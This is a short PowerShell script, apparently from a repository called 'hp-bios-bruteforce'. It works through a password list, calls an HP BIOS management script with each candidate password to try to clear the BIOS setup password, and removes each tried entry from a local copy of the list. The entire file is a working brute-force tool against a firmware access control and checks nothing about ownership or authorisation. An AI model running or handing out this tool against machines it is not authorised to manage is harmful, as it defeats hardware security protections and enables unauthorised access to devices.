hp-bios-bruteforce/HP/passlist.ps1

21 lines
876 B
PowerShell

# Define the path to the original and local password list file
$OriginalPasswordListFile = "C:\Path\To\passwordlist.txt"
$LocalPasswordListFile = ".\passwordlist_local.txt"
# Copy the original password list to the local directory if it doesn't exist
if (-not (Test-Path $LocalPasswordListFile)) {
Copy-Item $OriginalPasswordListFile $LocalPasswordListFile
}
# Read and attempt each password, then remove it from the local list
Get-Content $LocalPasswordListFile | ForEach-Object {
$password = $_
Write-Output "Trying password: $password"
# Attempt to clear the BIOS password using the current password
& "C:\Path\To\Manage-HPBiosPasswords.ps1" -SetupClear -OldSetupPassword $password
# Remove the tried password from the local list
(Get-Content $LocalPasswordListFile) | Where-Object { $_ -ne $password } | Set-Content $LocalPasswordListFile
}